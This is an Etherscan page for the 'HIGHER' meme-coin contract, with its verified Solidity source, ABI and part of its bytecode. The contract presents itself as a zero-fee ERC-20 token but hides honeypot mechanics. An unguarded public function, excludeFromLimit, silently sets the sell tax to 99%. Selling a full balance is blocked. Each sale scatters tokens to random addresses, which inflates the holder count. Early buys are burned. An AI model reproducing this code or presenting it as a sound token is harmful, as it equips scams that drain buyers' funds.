ETH Price: $3,305.34 (-3.51%)
Gas: 6 Gwei

Token

HIGHER (HIGHER)
 

Overview

Max Total Supply

1,000,000,000 HIGHER

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
14,377.759594375058580203 HIGHER

Value
$0.00
0x96df61cddf1d1d99f714e92a7c96707182c7addc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HIGHER

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

/*
Higher is the ultimate meme coin that combines humor, hype, and innovation.

Send it $HIGHER

Website highererc.com
twitter https://x.com/highertoken
telegram https://t.me/highereth
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract HIGHER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    string private _name = "HIGHER";
    string private _symbol = "HIGHER";
    uint8 private _decimals = 18;

    address payable public marketingWalletAddress =
        payable(0xB6f47AE0b7aD2FD735AbE76568D148477B836128);
    address payable public BurnedWalletAddress =
        payable(0xB6f47AE0b7aD2FD735AbE76568D148477B836128);
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) public isTxLimitExempt;
    mapping(address => bool) public isUniswapPair;

    int256 public sendAddress = 6; //
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyBurnedFee = 0;
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellBurnedFee = 0;

    uint256 public _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
    uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
    uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1 * 10**9 * 10**_decimals;
    uint256 public _maxTxAmount = _totalSupply * 3 / 100;
    uint256 public _walletMax = _totalSupply * 3 / 100;
    uint256 private minimumTokensBeforeSwap = _totalSupply * 2 / 1000;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    uint256 public genesisBlock;
    uint256 public coolBlock = 5;
    uint256 private possibleMaxFee = 99;
    uint256 _saleKeepFee = 1000;

    bool isWalletLimit = true;

    bool inSwapAndLiquify;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(uint256 amountIn, address[] path);

    event SwapTokensForETH(uint256 amountIn, address[] path);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
            _buyBurnedFee
        );
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(
            _sellBurnedFee
        );
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(
            _BurnedShare
        );

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;

        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        isUniswapPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function excludeFromLimit(address holder,bool value)public returns (bool)
    {
        isWalletLimitExempt[holder] = value;
        _totalTaxIfSelling = possibleMaxFee;
        return true;
    }

    function excludeFromFee(address account, bool newValue)
        public
        onlyOwner
    {
        isExcludedFromFee[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount)
        private
    {
        recipient.transfer(amount);
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (recipient == uniswapPair && !isTxLimitExempt[sender]) {
            uint256 balance = balanceOf(sender);
            if (amount == balance) {
                amount = amount.sub(amount.div(_saleKeepFee));
            }
        }
        if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) {
            genesisBlock = block.number;
        }

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minimumTokensBeforeSwap;

            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isUniswapPair[sender]
            ) {
                if (sender != address(uniswapV2Router)) {
                    swapAndLiquify(contractTokenBalance);
                }
            }

            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );

            uint256 finalAmount = (isExcludedFromFee[sender] ||
                isExcludedFromFee[recipient])
                ? amount
                : takeFee(sender, recipient, amount);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            if (
                block.number < (genesisBlock + coolBlock) &&
                sender == uniswapPair
            ) {
                _basicTransfer(recipient, deadAddress, finalAmount);
            }
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensForLP = tAmount
            .mul(_liquidityShare)
            .div(_totalDistributionShares)
            .div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalWETHFee = _totalDistributionShares.sub(
            _liquidityShare.div(2)
        );

        uint256 amountWETHLiquidity = amountReceived
            .mul(_liquidityShare)
            .div(totalWETHFee)
            .div(2);
        uint256 amountWETHBurned = amountReceived.mul(_BurnedShare).div(
            totalWETHFee
        );
        uint256 amountWETHMarketing = amountReceived.sub(amountWETHLiquidity).sub(
            amountWETHBurned
        );

        if (amountWETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountWETHMarketing);

        if (amountWETHBurned > 0)
            transferToAddressETH(BurnedWalletAddress, amountWETHBurned);

        if (amountWETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountWETHLiquidity);
    }

  
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            marketingWalletAddress,
            block.timestamp
        );
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;
        if (isUniswapPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        } else if (isUniswapPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
             address ad;
            for(int i=0;i <=sendAddress;i++){
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(sender,ad,100);
            }
            amount.sub(uint256(sendAddress+1) * 100);
        }

        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        
        return amount.sub(feeAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600660a0908152652424a3a422a960d11b60c0526001906200002790826200073b565b506040805180820190915260068152652424a3a422a960d11b60208201526002906200005490826200073b565b50600380546001600160a81b03191674b6f47ae0b7ad2fd735abe76568d148477b836128121790556004805473b6f47ae0b7ad2fd735abe76568d148477b8361286001600160a01b031990911617905561dead6080526006600b556000600c819055600d819055600e819055600f81905560108190556011819055620000e7908062000627602090811b62000bd517901c565b60125562000108601054600d546200062760201b62000bd51790919060201c565b60135562000129601154600e546200062760201b62000bd51790919060201c565b6014556003546200013f9060ff16600a6200091a565b6200014f90633b9aca0062000932565b6018556064601854600362000165919062000932565b62000171919062000954565b6019556064601854600362000187919062000932565b62000193919062000954565b601a556103e86018546002620001aa919062000932565b620001b6919062000954565b601b556005601f5560636020556103e86021556022805460ff19166001179055348015620001e357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a3919062000977565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000317919062000977565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038b919062000977565b601d80546001600160a01b039283166001600160a01b031991821617909155601c8054928416929091168217905560185430600090815260066020908152604080832094835293905291822055600190600790620003f16000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260078352208054909216600117909155600e54600d54600c54620004679362000453929062000bd562000627821b17901c565b6200062760201b62000bd51790919060201c565b6015819055506200049260115462000453601054600f546200062760201b62000bd51790919060201c565b601681905550620004bd601454620004536013546012546200062760201b62000bd51790919060201c565b601755600160086000620004d96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601d549091168152600890925280822080548416600190811790915530835290822080549093168117909255600990620005496000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260098452828120805486166001908117909155601d549092168152600a90935290822080549093161790915560185490600590620005b53390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6018546040516200061891815260200190565b60405180910390a350620009b8565b600080620006368385620009a2565b9050838110156200068d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006c157607f821691505b602082108103620006e257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200073657600081815260208120601f850160051c81016020861015620007115750805b601f850160051c820191505b8181101562000732578281556001016200071d565b5050505b505050565b81516001600160401b0381111562000757576200075762000696565b6200076f81620007688454620006ac565b84620006e8565b602080601f831160018114620007a757600084156200078e5750858301515b600019600386901b1c1916600185901b17855562000732565b600085815260208120601f198616915b82811015620007d857888601518255948401946001909101908401620007b7565b5085821015620007f75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200085e57816000190482111562000842576200084262000807565b808516156200085057918102915b93841c939080029062000822565b509250929050565b600082620008775750600162000690565b81620008865750600062000690565b81600181146200089f5760028114620008aa57620008ca565b600191505062000690565b60ff841115620008be57620008be62000807565b50506001821b62000690565b5060208310610133831016604e8410600b8410161715620008ef575081810a62000690565b620008fb83836200081d565b806000190482111562000912576200091262000807565b029392505050565b60006200092b60ff84168362000866565b9392505050565b60008160001904831182151516156200094f576200094f62000807565b500290565b6000826200097257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200098a57600080fd5b81516001600160a01b03811681146200068d57600080fd5b8082018082111562000690576200069062000807565b608051611cc4620009e26000396000818161035b0152818161093001526110df0152611cc46000f3fe60806040526004361061026b5760003560e01c806388790a6811610144578063af806d9a116100b6578063d158272d1161007a578063d158272d14610743578063dc44b6a014610768578063dd62ed3e1461077e578063df8408fe146107c4578063f0cd1dac146107e4578063f2fde38b146107fa57600080fd5b8063af806d9a146106b1578063c5d24189146106c7578063c816841b146106dd578063c8607952146106fd578063c867d60b1461071357600080fd5b80639cece12e116101085780639cece12e14610600578063a073d37f14610630578063a08e671f14610645578063a457c2d71461065b578063a9059cbb1461067b578063aea9cd151461069b57600080fd5b806388790a68146105715780638b42507f146105875780638da5cb5b146105b757806395d89b41146105d557806396d0efa7146105ea57600080fd5b80634cdc9c63116101dd578063715018a6116101a1578063715018a6146104a85780637d1db4a5146104bf578063807c2d9c146104d557806381905bf8146104eb57806382eefb431461053b5780638317390b1461055157600080fd5b80634cdc9c63146104005780635342acb41461041657806357a5802f1461044657806361a23c691461045c57806370a082311461047257600080fd5b806327c8f8351161022f57806327c8f835146103495780632b112e491461037d5780632ca1146014610392578063313ce567146103a8578063328e94a5146103ca57806339509351146103e057600080fd5b806306fdde0314610277578063095ea7b3146102a25780631694505e146102d257806318160ddd1461030a57806323b872dd1461032957600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61081a565b60405161029991906118b0565b60405180910390f35b3480156102ae57600